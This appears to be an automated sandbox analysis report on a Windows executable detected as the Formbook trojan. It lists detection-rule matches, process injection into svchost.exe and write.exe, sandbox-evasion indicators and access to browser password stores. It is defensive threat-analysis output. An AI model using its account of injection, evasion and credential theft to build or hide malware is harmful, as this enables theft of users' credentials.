Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: String function: 0040E6D0 appears 35 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03287E54 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03275130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0322B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 032AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 032BF290 appears 103 times

Source: r6lOHDg9N9.exe, 00000000.00000003.1712856043.000000000485D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs r6lOHDg9N9.exe
Source: r6lOHDg9N9.exe, 00000000.00000003.1713194191.00000000046B3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs r6lOHDg9N9.exe

Source: r6lOHDg9N9.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3550976082.0000000002690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.3554169610.0000000004A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.2094255182.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3551036891.00000000026E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.2094963366.0000000005900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3552180620.00000000025B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.2093329149.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3550782278.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@11/9

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0044AF5C GetLastError,FormatMessageW,

0_2_0044AF5C

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464422
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004364AA

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D517

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,

0_2_0043701F

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,

0_2_0047A999

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043614F

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

File created: C:\Users\user\AppData\Local\Temp\uppishly

Source: r6lOHDg9N9.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: write.exe, 00000006.00000003.2272892467.00000000028C2000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000003.2273032680.00000000028E4000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3551184016.00000000028E4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: r6lOHDg9N9.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

File read: C:\Users\user\Desktop\r6lOHDg9N9.exe

Source: unknown	Process created: C:\Users\user\Desktop\r6lOHDg9N9.exe "C:\Users\user\Desktop\r6lOHDg9N9.exe"
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\r6lOHDg9N9.exe"
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Process created: C:\Windows\SysWOW64\write.exe "C:\Windows\SysWOW64\write.exe"
Source: C:\Windows\SysWOW64\write.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\r6lOHDg9N9.exe"	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Process created: C:\Windows\SysWOW64\write.exe "C:\Windows\SysWOW64\write.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\write.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Contains functionality to detect sleep reduction / modifications

Source: r6lOHDg9N9.exe

Static file information: File size 1339905 > 1048576

Source:	Binary string: write.pdbGCTL source: svchost.exe, 00000001.00000002.2093567999.0000000002C19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093545639.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, fZXsbVktlmkz.exe, 00000005.00000002.3551281257.0000000000808000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: write.pdb source: svchost.exe, 00000001.00000002.2093567999.0000000002C19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093545639.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, fZXsbVktlmkz.exe, 00000005.00000002.3551281257.0000000000808000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: fZXsbVktlmkz.exe, 00000005.00000002.3551483374.0000000000B1E000.00000002.00000001.01000000.00000005.sdmp, fZXsbVktlmkz.exe, 00000007.00000000.2163431808.0000000000B1E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: r6lOHDg9N9.exe, 00000000.00000003.1712107540.0000000004730000.00000004.00001000.00020000.00000000.sdmp, r6lOHDg9N9.exe, 00000000.00000003.1713194191.0000000004590000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1996951815.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993960398.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093909663.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093909663.0000000003200000.00000040.00001000.00020000.00000000.sdmp, write.exe, 00000006.00000002.3553071659.0000000004450000.00000040.00001000.00020000.00000000.sdmp, write.exe, 00000006.00000003.2093550027.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000003.2095629016.00000000042AA000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3553071659.00000000045EE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: r6lOHDg9N9.exe, 00000000.00000003.1712107540.0000000004730000.00000004.00001000.00020000.00000000.sdmp, r6lOHDg9N9.exe, 00000000.00000003.1713194191.0000000004590000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1996951815.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993960398.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093909663.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093909663.0000000003200000.00000040.00001000.00020000.00000000.sdmp, write.exe, write.exe, 00000006.00000002.3553071659.0000000004450000.00000040.00001000.00020000.00000000.sdmp, write.exe, 00000006.00000003.2093550027.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000003.2095629016.00000000042AA000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3553071659.00000000045EE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: write.exe, 00000006.00000002.3551184016.0000000002865000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3553914086.0000000004A7C000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000000.2163720492.00000000025DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2383157688.000000002979C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: write.exe, 00000006.00000002.3551184016.0000000002865000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3553914086.0000000004A7C000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000000.2163720492.00000000025DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2383157688.000000002979C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: r6lOHDg9N9.exe

Static PE information: real checksum: 0xa2135 should be: 0x149afe

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_004171D1 push ecx; ret	0_2_004171E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041897C push 72AC03CBh; iretd	1_2_004189FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004141CC push eax; ret	1_2_004141D5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418983 push 72AC03CBh; iretd	1_2_004189FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403240 push eax; ret	1_2_00403242
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418A03 push 72AC03CBh; iretd	1_2_004189FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00417E03 push edx; retf	1_2_00417E06
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00413F3D push ecx; iretd	1_2_00413F42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032309AD push ecx; mov dword ptr [esp], ecx	1_2_032309B6
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_0284B81D push 72AC03CBh; iretd	5_2_0284B819
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_0284B79D push 72AC03CBh; iretd	5_2_0284B819
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_0284B79A push 72AC03CBh; iretd	5_2_0284B819
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_0284AC1D push edx; retf	5_2_0284AC20
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044527FA pushad ; ret	6_2_044527F9
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0445225F pushad ; ret	6_2_044527F9
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0445283D push eax; iretd	6_2_04452858
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044809AD push ecx; mov dword ptr [esp], ecx	6_2_044809B6
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001DE07C pushfd ; retf	6_2_001DE07D
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001E4BC0 push edx; retf	6_2_001E4BC3
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001EEE50 push ebx; iretd	6_2_001EEEA8
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001E76E0 push edx; ret	6_2_001E7720
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001E5739 push 72AC03CBh; iretd	6_2_001E57BC
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001E5740 push 72AC03CBh; iretd	6_2_001E57BC
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001E57C0 push 72AC03CBh; iretd	6_2_001E57BC
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_041F5532 push ds; ret	6_2_041F5534
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_041FE7AC push esi; iretd	6_2_041FE7AE
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_041FB0AA push ds; retf	6_2_041FB0B7
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_041F281F pusha ; iretd	6_2_041F2826

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_004772DE
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_004375B0

Source: C:\Windows\SysWOW64\write.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_00444078

0_2_00444078

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	API/Special instruction interceptor: Address: 3ECCE6C
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0327096E rdtsc

1_2_0327096E

Source: C:\Windows\SysWOW64\write.exe

Window / User API: threadDelayed 9769

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	API coverage: 3.2 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\write.exe	API coverage: 2.7 %

Source: C:\Windows\SysWOW64\write.exe TID: 4048	Thread sleep count: 203 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe TID: 4048	Thread sleep time: -406000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe TID: 4048	Thread sleep count: 9769 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe TID: 4048	Thread sleep time: -19538000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe TID: 6500	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe TID: 6500	Thread sleep time: -34500s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\write.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\write.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
